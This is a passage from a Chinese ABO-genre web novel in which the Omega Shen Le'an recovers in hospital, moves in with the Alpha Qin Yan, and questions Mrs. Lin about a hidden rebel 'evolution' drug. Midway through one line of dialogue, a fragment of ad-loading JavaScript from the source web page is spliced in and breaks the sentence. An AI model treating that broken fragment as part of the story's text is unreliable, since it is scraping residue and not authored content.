谢景开没发现他的小眼神,但听到沈乐安的名字,也有点好奇:“前不久才听说沈家这位的风头呢,没想到迟了这么久,竟然还是分化成了Omega。” 他想起来什么,瞅了眼秦砚:“我怎么听你爷爷说好像有意向看看他们家啊,怎么样,你相亲见到真人没?” 秦砚没有回答他,看了眼主管道:“麻烦你送过来了,先去忙吧。” 主管应下,随即离开。 秦砚收回视线,谢景开还在盯着他,“干什么?” 谢景开挖了块蛋糕,重复了一遍:“问你相亲对象,沈乐安长啥样。” 秦砚道:“我没有和他相亲。” 谢景开露出一脸惋惜的表情。 他还挺好奇这种从小到大他妈口中别人家的孩子真人长啥样的。 方桓瑜若有所思,安静了半晌,开口:“你和沈乐安认识?” 秦砚对上他探究的视线,“他在联邦军校工作, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有一点交集。” 谢景开拿着刀切了块蛋糕,插嘴道:“你俩吃不吃?” 秦砚低头喝了口水,“我不吃。” 方桓瑜道:“我要一块。” 谢景开递给方桓瑜,又问了一句:“联邦军校内还有给Omega的工作?” 秦砚:“他考了校医办的编制,今年元首军制改革,所以给了名额。” 谢景开狐疑地看了他一眼,“你怎么对人家的事情这么了解……” 秦砚拧眉,打断他的话,“他有男朋友,你别欠打。” 谢景开胸口还有余波阵阵,单手轻轻揉了揉,在他严肃的表情威慑下闭了嘴。 秦砚见他不再多言,这才解释:“他研究的方向和我的病情有关,元首和我提过他,所以我清楚一点他的事情。” 谢景开哦了一声,“原来是这样的啊。” 方桓瑜吃着蛋糕,没插话,只是余光撇了撇秦砚的表情,轻轻啧了一声,饶有兴致地吃了口蛋糕。 甜腻腻的口味,充斥于口腔,后劲犹在,余淮阳生日,这蛋糕却是按照沈小少爷喜欢的偏甜口做的,两人关系不错到了这种地步。 楼下的蛋糕基本上被分完了,余淮阳事先留了一大块,给了沈乐安最中心的那一圈,又把上面插着的水果都扒拉了各个种类,堆在了上面,那么一小块蛋糕,顶上堆积了好大片水果,甚至滑落了几颗葡萄,掉在了桌面上。 凌圆圆还取了上面的巧克力,在物资丰富的蛋糕上又插了巧克力图案的装饰,很是有趣。 余淮阳特地给沈乐安那块拍了照,又照了自己那块光秃秃的蛋糕,吐槽道:“发出去说不定人家以为今天晚上是给小少爷庆生。” 沈乐安分了颗草莓放他蛋糕顶上:“送你的,寿星生日快乐。” 余淮阳满意了,“这还差不多。” 凌圆圆凑到沈乐安身边,“乐安哥,我也想吃。” 沈乐安也给她两个葡萄做装饰。 有一就有二,最后大家的蛋糕那都有了沈乐安送的水果,余淮阳翻了翻白眼:“没见过你们这样抢食的啊。” 凌圆圆:“淮阳哥,要不你把乐安哥的草莓送给我。” “想得美,”余淮阳冷哼一声,叉起来往嘴里塞,“我的。” 众人哄堂大笑。 沈乐安亦是失声笑了出来,比幼稚谁也比不过余淮阳这家伙。 一群人闹得晚,沈乐安也喝了不少,余淮阳碰了酒开不了车,苏依白拿走了跑车的钥匙,亲自送沈乐安回去。 从酒吧出来,看着外面寂静的夜空和路上稀少的人群,才有了夜深人静的时间感。 苏依白看了眼坐在车上的沈乐安,给他递了张湿巾,“擦擦脸,回去泡点蜂蜜水,醒醒酒,下次和淮阳出来不许碰那么多。” 沈乐安闷闷地嗯了一声,冷冰冰的湿巾贴在脸上,驱散了一点热意。 混着雪碧,实在没有注意自己喝了多少,都怪张焕玉刚刚起哄,他搞忘了自己玩游戏的时候喝了不少。 送到校门口时,苏依白看了他一眼,“怎么走申请,我送你进去。” 沈乐安取下湿巾,冷静了数秒,感觉自己清醒了,“不用,我宿舍离这不远,能自己回去。” 苏依白比了个手指,“这是几?” 沈乐安语气正常,没有迟疑:“二。” 苏依白拧眉,看了他两眼,还是不放心,“申请流程是什么?我操作一下很快。” 沈乐安推门下车,被后边迎面而来的车灯刺了刺眼,眯了眯眼,看清后面的车牌,朝着那边招了招手,又回头打断了想要下来的苏依白:“校内同事车在后边,我等会蹭他的车回去,你别担心。” 苏依白见后边的车辆停了下来,又见沈乐安熟稔的模样,没有再执意进去,叮嘱了两句醒酒的注意事项,又把他落下来的帽子给他,这才放他离开。 晚间的风要大一些,却并没有吹散沈乐安脸上的热气,反而有点隐隐加剧额角的痛感,让人觉得有点闷闷作痛的感觉。 沈乐安不确定是不是自己喝多的后遗症开始上来了,但他的意识又觉得自己好像还没有到喝多不省人事的地步,那种隐隐作痛的感觉有些不适,尤其是在这样凉风习习的半夜走在这样的道上之时。 他走到驾驶座的位置,敲了敲驾驶座上的车窗。 车窗徐徐落下,里面的人侧脸看过来。 沈乐安微微躬身,手搭在车窗的位置,询问:“秦教官,能不能送我到宿舍楼下?” 少年身上扑面而来的酒气,糅合了淡淡的花香,脸上、脖子上、甚至露出来的手臂都浸润着淡淡的红晕,走在路上都像是马上要倒下的醉鬼。 秦砚看了他一眼,淡声道:“上来。” 沈乐安上了车,关上门,有点懒趴趴地靠在副驾驶的座位上。 前面的红色跑车也在他关上门的片刻后重新启动,不再停留,从校门口驶离。 秦砚漠然收回视线,又看了眼车上的人。 小醉鬼阖上了眼,一点也没有把身边的Alpha放在心上,对他格外放心,也不在乎AO有别。 秦砚沉默半晌,还是没有问出口,他为什么没让他的男朋友送他。 40-50 第41章 第 41 章 沈乐安知道自己又做梦了。 他梦到了自己在公司晕倒, 被下属送到医院,检查出来癌症的那一天。 医生拿着病例本,欲言又止, 最后带了点同情地告知他检查的结果, 眼底还带着深深的遗憾,大约是可惜他空有财富但最后也许无命消受,又或者是觉得可惜年纪轻轻的知名企业家即将陨落。 他没有任何做化疗的想法,医生还劝说他要不要和家里人商量一下, 沈乐安是个孤儿,没有所谓的家里人。 从医院回家的时候, 购置的大别墅里面也没有其他人,偌大的屋子空荡荡的,沈乐安还发现自己吹了一天的风,好像还有点感冒。 他冲了包药, 随便应付了几口面包, 然后就如以往一般躺回了床上, 强迫自己入眠。 临睡前,他脑袋里面还飘过一个念头。 如果他就这么死掉了, 第一个发现他的会是谁? 他的下属?或者过来打扫的清洁工?还是入室抢劫的抢劫犯? 沈乐安睁开眼, 看着顶上白色的墙面, 思绪飘了一会儿,似乎在辨别自己是不是置身在天堂,以他捐过的款项来说, 怎么着也值得去天上当个小官吧? 手背蚂蚁咬过一般的痛感让他回过神, 脑袋转了转, 便看到了悬挂在一旁的吊瓶,以及自己身上盖着的熟悉的毛毯, 旁边的桌上还有一个保温瓶,看起来像是做好的饭,上车前的记忆后知后觉地涌了上来。 沈乐安没了后面的印象,只记得自己上车后睡了过去,然后就没有然后了。 单人间的病房内似乎没有第二个人的存在,门口紧闭,隔音感不强,能隐约听到外边护士的走动声,窗户半开,病房位于高层,没有楼下的声音,但能听得到细微的风声。 “秦砚?” 沈乐安等了一分钟,意料之中的无人回应。 他看着紧闭的房门,目光好似将上面的纹路都深刻描摹了一番,可惜那扇门没有半点回应。 沈乐安兴致缺缺地抿了抿唇,收回视线,又将深灰色的毛毯往上扯了扯,盖住自己的脸,闭了闭眼,又试图想方设法让自己重新入睡。 半睡半醒间,压在面上的毛毯忽然被人扯下,软毛划过鼻翼,温暖散开,面上扑面而来的是一股截然不同的凉意。 沈乐安下意识想抓住马上被人撤走的自己的所有物,睡意全无,警惕地睁开眼,便看到秦砚冷峻的面孔,手上的力气便松了一些。 秦砚抬了抬眼皮,松开手,“我没想抢你的毛毯,不要遮鼻。” 沈乐安哦了一声,将毛毯往下卷了卷,眼睛还盯着病床旁边的人。 秦砚身上穿的衣服还是沈乐安睡前看到的那一身,当时脑袋不清醒,也没有多注意,眼下才发现他身上竟然穿的还是作为教官的训练常服,衣服上有几道皱巴巴的痕迹。 眼皮上抬,沈乐安正好对上秦砚的视线。 Alpha眉眼深邃,目光清醒,下巴有一层淡淡的青茬,脸上凭白多了一层倦色,与以往沈乐安见到他时干净整洁的模样大不相同。 外边天都亮了,昨天秦砚接他上车的时候已经临近天黑,想也知道,他应该在医院无知无觉睡了一晚上。 看这样子,秦砚也是在医院待着,似乎一晚上都没有回去。 见他兀自从一旁取出小桌板,沈乐安问道:“现在什么时间了?” 秦砚:“快到中午十二点。” 小桌板被放在了沈乐安的身前,那个保温盒也被他放了上去,一打开,里面还有淡淡的余温,是卖相不错的小粥,至少比沈乐安之前给沈烨点的外卖看起来要好吃一点。 沈乐安又问道:“你吃饭了吗?” 秦砚:“吃了。” 沈乐安吃了两口粥,看了眼精致的保温盒,“你去哪做的?” 秦砚:“不是我。” 沈乐安闻言,侧眸看向他。 秦砚目光在他亮晶晶的眼睛那定了数秒。 少年自己都没有察觉,从方才到现在,他视线像块黏糊糊的口香糖,紧紧粘在Alpha的身上,如似没有长大仍旧缠人的小猫。 秦砚垂眸应道:“我妈来过,她带的。” 沈乐安:“?” 秦砚:“我送你来医院不是什么秘密。” 沈乐安:“……” 秦砚静静看着他,见他表情懊恼,忽然开口道:“我说过这段关系是尝试,无论最后结果如何,我都不会让这个影响到你的生活,既然如此,你为什么还需要担心其他人知道我们的关系?” 因为有些关系在沈乐安心里就不能见光,而且一旦公开,不是什么事情都能做得到全身而退的,沈乐安觉得事情有点脱离自己的掌控。 不过这话沈乐安是不会告诉秦砚的,至少此时此刻,他觉得秦砚这人还挺好的。 沈乐安没说话,沉默片刻,转移话题道:“你昨晚怎么没有回去?” 医院没有换洗的衣服,这里也只有一张小沙发,沈乐安觉得他昨晚说不定没有怎么睡,今天看起来也有点狼狈。 这明显对于有洁癖的秦砚而言,是一种难以言喻的折磨。 秦砚深深看了他一眼,只字不提昨晚他被梦魇啜泣的Omega缠着不许离开的事情,只道:“等你打完针,我送你一起回去。” 沈乐安嚼了嚼口味略淡的小粥,将滑落的毛毯往上扯了扯,又说:“我的床单和被套应该都需要换,新买的还没有回来。” 没头没尾的感慨,像是在自言自语。 秦砚看穿他的意图,道:“你先暂时住在我那。” 沈乐安笑了下,“行吧。” 他笑起来时牵起了唇角,脸颊处似乎还藏有浅到几不可见的酒窝,唇瓣失了血色,比碗里的粥还要苍白几分。 白皙的脸蛋上烧起的红已然全部褪去,唯有眼尾还有淡淡的红晕,曈眸乌亮,藏着月牙一样的清泉,昨晚还脆弱的溢出过几滴水花,哪怕在睡梦中,哪怕是无声的落泪,行为举止还是一只霸道不肯示弱的小猫。 秦砚想起来手臂上似乎还未完全消失的红色抓痕,停下了下意识想要卷起袖子的动作。 沈乐安还在埋头吃饭,没看到他奇怪的举动。 吃了半碗粥,沈乐安感觉自己恢复了几分力气,脑袋也清醒了许多,想了想,又觉得好像有点不对劲。 他转头,看了眼坐在旁边的秦砚,“你怎么突然想到来找我?” 秦砚:“我查到了李怀玉的消息,没有打通你的电话。” 李怀玉是林夫人的名字。 习惯了叫林夫人,沈乐安恍惚了一下,才道:“她是不是出事了?” 秦砚意外于他的直觉,颔首道:“她和林江源起了争执,心脏病发作,进了急救,现在脱离了危险,但人还没有醒。” 人没醒,沈乐安也不是专业的医生,去了也无济于事,叹了口气,“希望医生能治好她吧。” 秦砚:“人醒了我会告诉你,不急。” 沈乐安想了想,还是道:“她身上说不定有你们想要的线索,你们看好她,别让她出了意外。”如果他的猜测没有错的话。 秦砚顿了下,视线在他身上停留片刻,须臾,才道:“会尽力。” 沈乐安又低下脑袋专心吃饭去了。 吊瓶内药水见底,秦砚按了病床旁边的按铃。 过来拔针的不是护士,而是穿着白大褂的徐应尧。 沈乐安表情古怪:“徐师兄?” 病床上的Omega师弟恢复能力还挺强,没有了昨天晚上昏睡在秦砚怀里时呼吸孱弱的病弱样,不过大病一场,还是少了几分血色。 秦砚瞥了徐应尧一眼。 徐应尧笑笑:“我来看看沈师弟的病情。” 他要拔针,沈乐安别开眼,表情有点紧绷,没有接话。 徐应尧动作很快,将针管插回药瓶底下,而后又道:“这段时间还是不宜有什么大幅度的运动,饮食可以多补补,沈师弟检查出来的身体素质一般,还需要努力提高一下,有机会定期做做检查会好一点。” 他说完,又转头专门与秦砚说了一句:“你平时可以多看着点。” 沈乐安:“……”他觉得徐应尧可能是来看笑话的。 秦砚拧眉,冷冷地给徐应尧丢了一个眼神,“弄完就赶紧走,别废话。” 徐应尧啧了一声,“行了,没想打扰你们俩单独相处。” 沈乐安木着脸,只字不言,当自己不存在。 徐应尧丢下一句让人尴尬的话,然后就带着东西离开了病房。 秦砚兀自收拾着东西,仿佛不知道局促二字怎么写。 沈乐安幽怨地看了他两眼,明显带了几分责怪,看吧,这就是不小心被人发现的后果,搞得好像他们之间真的有什么一样,偏偏他还没对秦砚做过什么呢,等以后和秦砚闹掰,指不定他都不好联系徐师兄帮忙办事情。 Omega坐在病床上,也没有做什么,只是那一双黑漆漆的乌眸一直紧紧跟在Alpha的身上,抿着唇,眼皮耷拉着,表情像是没有淘到新奇玩具的小猫。 他坐的直,身上的衣服宽大,隐约可见里面单薄的身躯,领口荡在胸前,露出大片的锁骨,颈线牵动,勾出锁骨处漂亮的小窝。 秦砚将昨天给他套的外套递了过去,“穿上。” 沈乐安虽然有点生气刚刚的事情,但还是老实接过,套上衣服,他并不想等会出去再着凉一次。 外套穿好,偏偏扯动里面的内搭往下掉了掉,尤其是那宽敞的领口,牛奶一样的肤色露出一小片,一眼抓人眼球。 秦砚抿了抿唇,抓起床上的毛毯,随手一圈,将他脖子以下的位置全部包裹住。 沈乐安只觉得自己变成了一个随身行走的显眼包,昨天三更半夜没人看见就算了,现在可是大白天的在人来人往的医院! 沈乐安努力挣了挣,但偏偏秦砚手上还抓着另外一端,他力气没秦砚大,挣脱不了。 他抬头,看着身侧的人,道:“外套足够暖和,我不需要再套这个,太丑了。” 秦砚看了他一眼,语气不容拒绝:“不丑,穿着。” 他一松手,沈乐安就扒拉开,身上的毛毯散了大半。 秦砚抬手制住他的动作,颇为强硬的重新将人卷了回去,然后收到了来自Omega不满的怒瞪。 他脸色虽然还尚且苍白,但此刻的表情却比昨晚蔫答答的样子要鲜活灵动的多,那双眼睛里面氤氲着淡淡的水色,不见凶意,反抗的力气于秦砚而言微乎其微,反而像是在撒娇。 秦砚心头微动,抬手,重复着母亲当时在病床前对着床上的Omega做出的动作,轻轻揉了揉他的脑袋。 少年细软的乌发没有一点杀伤力,像是一团柔软的棉絮,剐蹭在Alpha粗糙的手心,只觉一片淡淡的痒意。 Alpha靠得近,动作又突如其来的亲密,沈乐安完全没有反应过来,脑子呆滞了数秒,挣扎的动作忽然慢了几分。 “不要耍小孩子脾气。”秦砚收回手时出声道。 他声音压低了几分,声色微沉,如安静的夜色里树梢上滑落的露珠,砸的人睡意全无,声音近在咫尺一般,松雪之气透过敏感的耳垂,钻入鼓膜,直抵神经。 沈乐安罕见的乖觉了几分。 他往后挪了挪位置,明明觉得这室内空气闷闷的还有点热,却像是受了寒似的,不自在地拢紧了一分方才被人强行套上去的毛毯,低下脑袋,缩成了一团行走的蚕蛹。 他看不见自己此刻的状态,没有发现自己脸上飘了一层红,耳垂如似上等的漂亮红珠子。 秦砚挪开视线,攥了攥手,先一步转身离开。 “走吧。” Alpha声音平静无波,仿佛没有察觉出来任何的异样。 诡异的气氛散去,沈乐安松了口气,跟上他的脚步。 第42章 第 42 章 从医院到回到秦砚的住处, 沈乐安一路上都在闭着眼睛装睡,进了秦砚家,只字不提, 回了自己的房间就关上了门。 那条毯子被他随手丢在床的另外一边, 重新爬上了床。 被子一捂,权当与世隔绝。 但脑子里的想法有时候难以克制,哪怕努力将注意力转移。 沈乐安还没有被哪个男的摸过脑袋,除了年长自己许多的长辈之外, 没人会对他做这样的动作。 那短暂的不过数秒的动作,在记忆里好像数年之长, 和秦砚站的近,他能感觉得到来自另外一位男性的荷尔蒙,对方在自己头上的动作带着几分好奇的逗弄,手离开的时候还不小心触碰到了他的耳廓, 短暂的肌肤接触传递了彼此的温度, 心口似乎也跟着被拨弄的头发一起晃荡。 沈乐安捂了捂脸, 果然是素太久了吗,他还没想过自己还有春心荡漾的这一天。 想到自己还在生病, 而且是在秦砚家, 沈乐安勉强冷静了几分, 起来喝了口冷水,静了静心。 他放下水杯,在卧室内扫了一圈, 才发现这里面干干净净的, 除了衣柜里面秦砚的一些衣服, 没有其余的属于秦砚的私人物品。 秦砚的衣服款式大差不差,倒是有稍微潮流一点的特别新款, 沈乐安取下来,看了眼上面未拆的标签,又将衣服挂了回去,估计不是他自己买的。 沈乐安之前没有拿几件衣服过来,现在衣柜的另外一边还是空空的,倒是有几件出去的衣服,不过没有合适的睡衣。 睡不成觉,沈乐安有点想洗澡。 他在自己的衣服堆里面翻了两下,而后走回床边,拿起自己的手机,给秦砚发了条信息。 LLA:【没有合适的睡衣,暂时借你的新衣服穿?】 隔着一堵墙,却是这种云传话。 秦砚摸不清他的想法,回他:【衣柜里面都是新的,你自己拿。】 LLA:【OK】 那边没有再回,秦砚也没有碰见沈乐安,洗完澡他就给他发了个消息,说自己困了需要休息,不用喊他吃饭。 主卧的灯也随之熄下,没有什么别的动静,格外的安静。 秦砚无言,回了一句晚安。 沈乐安一觉睡到了第二天,起来的时候天光大亮,身上的不适感也随之消散,测了一□□温,已经恢复了正常。 大病一场起来还是感觉有点饥饿,沈乐安赖床了一会,最后还是因为饥肠辘辘的饥饿感被逼起来洗漱下楼觅食。 沈乐安还是第一次在秦砚家里吃早餐。 楼下客厅没有人,也不知道是不是秦砚上班去了,沈乐安在客厅的柜子里翻了翻,没有看到什么面包,无奈之下,又摸去冰箱,试图搜罗出什么可以食用的早点。 Omega开着冰箱的门,一只手扶在门上,不合身的宽大袖口因为手臂上扬的动作直直滑下,纤细白皙的小臂被冰箱的暖光波及,如似珍藏的暖玉,大开的冰箱门挡住了他上半截身体,他下半身都是松垮的黑裤,脚底踩着一双黑色的拖鞋,足面的莹白对比愈发明显。 “厨房里面有早餐。”秦砚敛回视线道。 沈乐安闻言,退了一步,从冰箱内取出一瓶酸奶,而后关上了门。 他有点意外于这个点还在家里能看到秦砚,“你没有去上班?” 秦砚:“今天休假。” 沈乐安手里还拿着酸奶,想了想,问他:“你喝吗?” 秦砚:“不用。” 取出的酸奶瓶面因为空气的骤然变化,凝出一层水雾,化作晶莹的水珠,攀上少年温软的手心,一路蜿蜒而下,溺入纠缠的布匹之中。 沈乐安刚插完吸管,便听他道:“刚起,不要喝冰的。” 沈乐安觑了他一眼,只看到了他平静无波的面容,昨天生起的那层青茬不见,他又恢复了往日的整洁。 沈乐安将酸奶随手搁置到了桌面,道:“我是打算放凉了再喝。” 虽然秦砚送他去看病,帮了他忙,但沈乐安还是不怎么喜欢被人按头做事,即使这是为他好的名义,更何况说话的人口吻还冷硬得像块石头。 秦砚看了他一眼,道:“早餐煮了粥。” 沈乐安掀了盖子,有点了无生趣地道:“午饭不会还是这个吧?” 秦砚:“这两天你先吃这个恢复。” 沈乐安不满:“我感冒已经好了。” 秦砚:“好完全了再给你做别的。” 沈乐安哦了一声,心情勉强好了一些。 Omega唇角轻扬,笑意比窗外的阳光还要来的灿烂,柔软轻薄的发梢随着细风轻轻摇曳,颤颤巍巍的,单薄的身影让人觉得有几分可爱。 沈乐安平时起床的时候就懒得梳头,通常是手一抓就能出门,在家就更加懒散了,他的头发和他本人一样的个性,慵懒又随性。 微妙的触感仿佛仍在手心,秦砚大手微拢,顿了下,将成团的纸丢入桶中。 沈乐安打完粥,也没见他离开,邀请道:“你吃过早点了?要不要再吃一碗?” “不用。”秦砚道,“我找你有事。” 沈乐安拖了张椅子出来,坐下,分神问他:“什么事?” 秦砚:“李怀玉醒了。” 沈乐安诧异地看了他一眼,见他表情平静,冷静下来,问:“然后呢?” 秦砚:“接下来的话涉及到联邦的机密,不能外传。” 沈乐安扫了眼空荡荡的客厅,而后搅了搅吃了两口的粥,有点无语地看了秦砚一眼,颇有几分嘲讽的意味。 在这里,他吃饭的时候聊机密?怕不是脑子有坑。 秦砚抿了抿唇,提醒他这一句话也是希望沈乐安有分寸,不要外传,元首对沈乐安有充分的信任,甚至让他将前因后果告知给沈乐安,显然有点让他难以理解。 秦砚斟酌片刻,道:“这几年信息素暴动的案例在上升,联邦去年发现这个病例的提升可能和反叛军最新研发出来的一种药剂有关,这种药剂被反叛军内部人员称为‘基因进化剂’,原先流通于他们的高层之中,现在已经开始在市面上流出,林家和他们有买卖关系,但原先的购买渠道被切断,失去了搜查的信息,林家之前的购入的药剂没有全部用完,被李怀玉藏了一部分,联邦希望可以获得这一份药品,以此来研究出对应的解决药剂。” 沈乐安:“你们怎么知道林夫人自己藏了一部分?” 秦砚:“是她私下偷偷将药剂替换成了普通的无害药品,林一鸣发生信息素暴动是因为药剂中断的因素,林江源与她争吵是因为发现了这个真相。” 沈乐安默默叹了口气,“这事和我有什么关系?” 秦砚抬了抬眼皮,才道:“李怀玉自己承认了她还有剩余的药品,但她不愿意直接给我们,她希望和你见一面,然后才愿意提供藏东西的位置。” 沈乐安这下多了几分好奇,“你们搜不出来?” 秦砚不置一词,显然是默认。 倒不是沈乐安看他笑话,而是确确实实有点觉得惊讶的,毕竟林夫人说白了在他们这一群联邦军眼中,大概就是一个普通柔弱心思浅显的Omega,还是个家庭妇女,平时出入的地方屈指可数,但偏偏英明的联邦军队竟然因为这样一个人束手无策,难怪沈乐安觉得有趣。 沈乐安笑了笑,说道:“我答应联邦军办这个事情有什么好处?” 秦砚拧眉:“这原本是你提出的请求。” 此一时彼一时,现在需求方改变,沈乐安才不会白白帮人办事,尤其是联邦原先对自己的单方面信息隐瞒,险些让他在实验上白费功夫。 之前秦砚愿意帮他那些忙,或者说,秦砚背后的人愿意秦砚帮他那些忙,说白了,还是希望他赶紧弄出点有效成果,大家相互利用的事情,沈乐安不会觉得有多感激,尤其是对方原先对自己还有几分防备,不然有些东西不至于现在才告诉他。 沈乐安心里翻了个白眼,也不说话,只静静喝粥。 秦砚:“你想要什么?” 沈乐安想了想,便道:“如果拿到药剂,我也需要分到一份,还有之前联邦内部关于这个药剂的所有资料,包括病例详情,我需要有能够查看的特权。” 对外公开的和联邦自己有的,那肯定是两码事,光是病例这个,就可能和现有的高层扯上关系。 沈乐安没想惹麻烦,补充了一句:“我也想快点研究出来解决的方案,这一点上,我和你背后的那个人想法是一致的。” 秦砚深深看了他一眼。 沉默良久,沈乐安才听到他道:“我会帮你转达。” 沈乐安闻言,悄悄松了口气,秦砚这人公事公办的时候态度还是挺严肃吓人的,冷冰冰的,和宋书颖有几分相似,不过气场更甚。 脱离掉方才的冷肃,秦砚神色恢复如常,看了眼低头安静喝粥的Omega,“最近先在我这里住,不用急着回你那里。” 沈乐安意外瞥了他一眼:“?” 还是第一次见秦砚主动提出这种留他在这里住的事情。 少年眼里带着明显的疑惑,白色的衬衣松松垮垮,脖颈修长,最上面的扣子未系,白净的胸膛肤色若隐若现,肌理分明,线条漂亮,比衣物的白更甚一个色调。 秦砚垂了垂眼皮,克制住往下窥视的想法,淡声提醒:“你的发情期要到了。” 沈乐安后知后觉想起来这事,恍然大悟。 他想起来昨晚的意动,看着Alpha禁欲自制的外表,若有所思。 第43章 第 43 章 大病初愈, 加上听说林夫人身体也有点虚弱,沈乐安也没有急着去医院与她说正事。 隔了一周,得到秦砚的答复, 沈乐安才决定周末过去探病。 秦砚给他充当司机, 送他去了一趟医院,不过没有陪他进病房的意思,看起来不像干涉他们对话的模样。 林夫人的病房在单独的一层,上来的时候没有什么人, 外面还站了两个军士,见到沈乐安旁边站着的秦砚, 顿了一下,又看了眼多出来的沈乐安,只喊了一声:“秦队。” 秦砚颔首,“我不进去。” 沈乐安瞥了他一眼。 两个Alpha了然, 让出道, 将门打开, 其中一人道:“沈医生进去吧。” 沈乐安看了眼他们略有打量的动作,道:“谢谢。” 上来这一层的电梯还是秦砚刷了一张空白卡的, 这一层没有其他人, 应该是联邦医院单独开的特殊楼层, 这里又守了联邦军的人,看起来他们对这件事尤其重视。 沈乐安对秦砚当时潦草开口的机密有了一点份量的感知。 病房内安安静静的,空间比沈乐安之前待过的单人间还要大得多, 看顾的阿姨帮忙支起病床, 让李怀玉能够勉强坐起来, 不会影响到他们交流,做完一切, 她就朝着沈乐安点头示意一下,出去了。 沈乐安上一次见到林夫人还是她当时帮林一鸣收拾离开医院的行李的时候,那时候的她身形已然因为儿子大病一场而有颓靡之气,眼圈还有淡淡的红痕,像是哭了一场,但眼底尤是带着某种韧性,使她不至于跌倒。 这一次再见她,仿佛被人抽了骨髓,再没有了起来的振奋,像摇摇欲坠的悬崖勒石。 林夫人出声道:“坐吧。” 沈乐安顺势坐在旁边的凳子上,从病床旁边的桌上顺了一个沃柑,兀自拨开,往嘴里丢了一瓣。 他嚼了两下,觉得有些酸,抿了抿唇,道:“我还以为您不会想见我。” 林夫人:“为什么这么说?” 沈乐安笑了下,“林先生肯定和您说过了,我和您联系频繁其实别有用心。” 这话早在当时丈夫决定让儿子搬离医院的时候,就和林夫人提起过,林夫人垂了垂眼皮,“这世界上哪有纯粹的人际往来呢?” 林夫人哪怕一直是个家庭主妇,但跟着林江源身边,也是见识不少,何况当初和林江源也称得上是利益结合,她哪会不懂这些呢? 沈乐安往嘴里塞了一瓣柑橘,又坦诚道:“我自己在坐信息素暴动有关的项目,当初学校内出了您儿子这样的一例事件,对我来说也是个不错的研究案例,所以关注的多了些,不过我也是最近才知道进化药剂的事情。” 林夫人看着他,道:“药剂的效果很明显不是吗,一鸣用这个后,体质进步很快,也许真的能有机会实现他们说的基因进化,成为第一梯队的Alpha,或许反叛军真的能够依靠这个,将联邦的军队压制的一败涂地。” 沈乐安道:“那他们怎么没有全部将药剂留在自己人手里,而是选择输出给即将进入联邦?难不成他们还好心给自己的对手增加筹码不成?” 林夫人道:“反叛军需要钱来扩充自己的军队力量,这也许是他们出售这个药剂的原因。” 沈乐安摇头道:“他们一定告诉过你们,药剂的稀缺性吧,既然如此,又怎么舍得让这个东西外流呢?何况还是具有显而易见危及生命的副作用,单独这一个,就值得仔细思考一二了。” 他顿了顿,还是道:“您的儿子不是已经切身实际的经历过所谓进化产生的危害了吗?” “是啊。”林夫人声音浅浅,轻如那热水壶内飘出的丝丝缕缕的白雾,“这么简单的道理,他们怎么就不懂呢?” 她像是苍老了几岁一般,头上的白发都多了几根,眼底是淡淡的疲倦和忧愁,眉宇间化不开的愁绪。 沈乐安将一瓣沃柑连着皮一起放在她手心,“您生病的时候还是不要想那么多了。” 林夫人垂着眼皮,指腹轻轻压着橘调的外皮,轻声说道:“我先生一开始并没有将事情告知我,在我察觉的时候,一鸣早就已经开始使用了。” 她有点想保持一丝笑容,但却勉强不来,脸上淡淡地道:“我先生一直想要进入上流圈层,他自己当初没有成功,所以致力于培养一鸣完成自己一直以来的理想,联邦军校在他的规划之内,但一鸣资质没有到学校的要求,这个药剂是他无意得知的上流圈层里面才有机会弄到的‘内部药品’。” 沈乐安好奇道:“您口中的上流圈层是哪批人?” 林夫人道:“江源只和我说过,是一个名叫‘光明’的俱乐部,拥有俱乐部绿卡的成员资质很高,要么资产丰厚,要么身份显赫,如果能够拿到绿卡的成员,能够获得十分优质的人脉,也是一种身份的认定。” 沈乐安拧眉,问道:“那您是怎么知道的药剂的事情的?” 林夫人眼神空茫茫的,“家里购置了大量的抑制剂,我有点觉得奇怪,我先生让我不要多管,但我因此无意发现了一鸣在拿着针管给自己注射东西,他当时整个人的反应很吓人。” 她难以忘却当时的场面,口头却难以论述的清,努力描述道:“他很兴奋,面红耳赤,肌肉肿大的厉害,信息素难以克制的喷涌,眼睛也在充血,如果体质稍微差一点,我甚至担心他身体无法承受然后突然暴毙而亡。” 沈乐安抿了抿唇,没有想到这个药剂药效这么严重。 林夫人道:“我和我先生提起过,他非常严厉的呵斥了我,让我不许再多过问此事,但是我很担心。” 她顿了一下,才道:“一鸣还因此进过一次医院,但平安无事的出来了。” 林夫人决定换药也是从那一次在病房内看着模样大变的儿子开始的。 沈乐安问道:“林一鸣知道您换药的事情吗?” 林夫人安静了片刻,才说:“不知道。” 沈乐安了然,大约清楚了这场闹剧的来源,也知道林夫人如此肝肠寸断的原因,她没有选择告知自己的儿子,而是偷偷私下做了这件事,怕是自己的儿子也是站在自己的丈夫那一边的,并不认可她的想法。 林夫人这次住院,说不定不单纯是因为林江源发现了真相吵架,十有八九是醒来后的林一鸣也知道了这件事,以当初唐邵和他提过的林一鸣的个性,又结合林家的家风,林一鸣也许还会认为是林夫人的做法导致他如今的种种不幸。 毕竟现在看来,对于林一鸣而言,原先的天之骄子不仅面临记过的后果,这么一掺和,没有意外的话是要开除出校的。 对于林夫人来说,丈夫的看法如何或许于她而言可以勉强不在意,但自己一直心心念念的儿子反手一个插刀,大概会将母亲的心捅的稀巴烂。 清官难断家务事,沈乐安也不知道怎么评价林家的事情。 沉默良久,林夫人才道:“我听他们说,这个药剂有成瘾性,如果没有办法根治,每到易感期,会非常的痛苦,而且还有重新爆发信息素暴动的可能。” 沈乐安没有否认。 林夫人道:“如果把药剂交给你们,你们多久能弄出来解药?” 沈乐安瞥了她一眼,道:“这个我没有办法给您答案。” 林夫人低声道:“如果有了,能够优先给一鸣提供一份吗?” 沈乐安笑了笑,“这种事情不是应该在您和联邦军谈判的时候说吗,您和我说没有什么用处。” 林夫人道:“你不是也在参与这个研究吗?” 沈乐安回她:“我和他们不是一伙的,药剂最后会给联邦官方的研究团队。” 林夫人道:“如果你做出来了,可以答应我的请求吗?” “他如果愿意参与临床试药,我也不会介意先用在他的身上,”沈乐安想了想道,“您这么看好我?” 正如他想不通林夫人为什么专门提出这个条件让他过来这一趟一样,他觉得今天的对话更像是闲聊。 林夫人嗯了一声,眼底藏着几分向往,“你是我在联邦军校内碰见的第一个Omega。”也是那所众人向往的高校里面,唯一一个。 与众不同代表着绝对的实力,也代表着绝对的勇气,这是她一直可望不可求的东西。 沈乐安不明所以,只是想起来秦砚交代的任务,开口便直白地问道:“您将药剂放在哪里了?” 